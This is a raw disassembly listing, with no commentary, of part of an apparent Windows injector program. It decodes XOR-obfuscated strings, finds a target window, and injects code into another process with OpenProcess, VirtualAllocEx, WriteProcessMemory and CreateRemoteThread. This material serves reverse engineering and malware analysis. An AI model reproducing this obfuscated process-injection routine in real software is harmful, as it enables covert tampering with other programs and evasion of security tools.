movdqa xmm4, xmmword [0x14003e600]
movdqa xmm6, xmmword [0x14003e530]
movdqa xmm0, xmmword [0x14003e570]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 4]
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140005950
jmp 0x140005a93
lea r9, [rbp - 8]
mov r8d, r12d
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140005a60
mov qword [rbp + 0x78], r12
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 8]
call fcn.140001420
mov rsi, rax
mov r8d, dword [rbp + 0x80]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x78]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x20], r12
mov r9, qword [rbp + 0x78]
mov r8, rsi
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x88], r12d
lea rax, [rbp + 0x88]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, qword [0x140045a18]
mov rax, qword [rbx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rbx + 0x1c20]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
addss xmm0, xmm9
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
addss xmm2, dword [0x14003e428]
movss dword [rax + 0xd8], xmm0
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
movss xmm1, dword [rbx + 0x15bc]
movss xmm0, dword [rbx + 0x15c0]
mov dword [rsp + 0x70], 0xe
movss dword [rsp + 0x74], xmm1
movss dword [rsp + 0x78], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x70]
call fcn.14001bdb0
mov dword [rbx + 0x15bc], 0x40a00000
mov dword [rbx + 0x15c0], 0x40a00000
mov rbx, qword [0x140045a18]
movss xmm1, dword [rbx + 0x15ac]
movss xmm0, dword [rbx + 0x15b0]
mov dword [rsp + 0x70], 0xb
movss dword [rsp + 0x74], xmm1
movss dword [rsp + 0x78], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x70]
call fcn.14001bdb0
mov dword [rbx + 0x15ac], 0x40a00000
mov dword [rbx + 0x15b0], 0x40a00000
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
mov dword [rax + 0x260], 0x3f333333
movss xmm0, dword [rcx + 0x1994]
mulss xmm0, xmm10
mov rdx, qword [rax + 0x338]
test rdx, rdx
je 0x140005c79
mulss xmm0, dword [rdx + 0x260]
movss dword [rcx + 0x19a8], xmm0
movss dword [rcx + 0x1990], xmm0
mov dword [rbp + 0x78], 0x42c80000
mov dword [rbp + 0x7c], 0x41f40000
movsd xmm0, qword [str.___R]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x1400398c8]
mov dword [rsp + 0x68], eax
cmp byte [0x1400398cb], r12b
je 0x140005e13
mov r8d, r12d
cmp r15d, 2
jl 0x140005dd3
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm2, xmmword [0x14003e500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14003e530]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
mov eax, dword [0x14003e570]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.___R]
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x14003e510]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14003e530]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140005de0
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x60]
call fcn.140030c20
test al, al
je 0x140006094
mov dword [rbp + 0x80], r12d
lea rdx, [rbp + 0x80]
lea rcx, [0x140001600]
call qword [sym.imp.USER32.dll_EnumWindows]
movups xmm0, xmmword [0x140039b30]
movups xmmword [rbp - 0x28], xmm0
movsd xmm0, qword [0x140039b40]
movsd qword [rbp - 0x18], xmm0
mov eax, dword [0x140039b48]
mov dword [rbp - 0x10], eax
movzx eax, byte [0x140039b4c]
mov byte [rbp - 0xc], al
mov r8d, r12d
cmp r15d, 2
jl 0x140005fbd
movdqa xmm5, xmmword [0x14003e500]
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm6, xmmword [0x14003e530]
movdqa xmm0, xmmword [0x14003e570]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140005eb0
cmp r8d, 0x1d
jge 0x140006003
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140005fd0
mov qword [rbp + 0x78], r12
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x28]
call fcn.140001420
mov rsi, rax
mov r8d, dword [rbp + 0x80]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x78]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x20], r12
mov r9, qword [rbp + 0x78]
mov r8, rsi
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x88], r12d
lea rax, [rbp + 0x88]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, qword [0x140045a18]
mov rax, qword [rbx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rbx + 0x1c20]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
addss xmm0, xmm9
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
addss xmm2, dword [0x14003e430]
movss dword [rax + 0xd8], xmm0
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
movss xmm1, dword [rbx + 0x15bc]
movss xmm0, dword [rbx + 0x15c0]
mov dword [rsp + 0x70], 0xe
movss dword [rsp + 0x74], xmm1
movss dword [rsp + 0x78], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x70]
call fcn.14001bdb0
mov dword [rbx + 0x15bc], 0x40a00000
mov dword [rbx + 0x15c0], 0x40a00000
mov rbx, qword [0x140045a18]
movss xmm1, dword [rbx + 0x15ac]
movss xmm0, dword [rbx + 0x15b0]
mov dword [rsp + 0x70], 0xb
movss dword [rsp + 0x74], xmm1
movss dword [rsp + 0x78], xmm0
lea rcx, [rbx + 0x1d98]
lea rdx, [rsp + 0x70]
call fcn.14001bdb0
mov dword [rbx + 0x15ac], 0x40a00000
mov dword [rbx + 0x15b0], 0x40a00000
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
mov dword [rax + 0x260], 0x3f333333
movss xmm0, dword [rcx + 0x1994]
mulss xmm0, xmm10
mov rdx, qword [rax + 0x338]
test rdx, rdx
je 0x1400061e9
mulss xmm0, dword [rdx + 0x260]
movss dword [rcx + 0x19a8], xmm0
movss dword [rcx + 0x1990], xmm0
mov dword [rbp + 0x78], 0x42c80000
mov dword [rbp + 0x7c], 0x41f40000
movsd xmm0, qword [str.bTFR]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [0x140039af8]
mov word [rsp + 0x48], ax
cmp byte [0x140039af9], r12b
je 0x14000625c
mov byte [rsp + 0x40], 0x56
xor byte [rsp + 0x41], 0x35
xor byte [rsp + 0x42], 0x36
xor byte [rsp + 0x43], 0x37
xor byte [rsp + 0x44], 0x38
xor byte [rsp + 0x45], 0x39
xor byte [rsp + 0x46], 0x3a
xor byte [rsp + 0x47], 0x3b
xor byte [rsp + 0x48], 0x3c
xor byte [rsp + 0x49], 0x3d
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x40]
call fcn.140030c20
test al, al
je 0x1400064e7
mov dword [rbp + 0x80], r12d
lea rdx, [rbp + 0x80]
lea rcx, [0x140001600]
call qword [sym.imp.USER32.dll_EnumWindows]
movups xmm0, xmmword [0x140039a98]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [0x140039aa8]
movups xmmword [rbp + 0x110], xmm1
movzx eax, word [0x140039ab8]
mov word [rbp + 0x120], ax
movzx eax, byte [0x140039aba]
mov byte [rbp + 0x122], al
mov r8d, r12d
cmp r15d, 2
jl 0x14000640f
movdqa xmm5, xmmword [0x14003e500]
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm6, xmmword [0x14003e530]
movdqa xmm0, xmmword [0x14003e570]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x104]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140006302
cmp r8d, 0x23
jge 0x140006453
movsxd rax, r8d
lea r9, [rbp + 0x100]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140006420
mov qword [rbp + 0x78], r12
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x100]
call fcn.140001420
mov rsi, rax
mov r8d, dword [rbp + 0x80]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbp + 0x78]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov qword [rsp + 0x20], r12
mov r9, qword [rbp + 0x78]
mov r8, rsi
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x88], r12d
lea rax, [rbp + 0x88]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov byte [0x1400450c0], r12b
call fcn.1400144d0
nop
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.140036b40
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret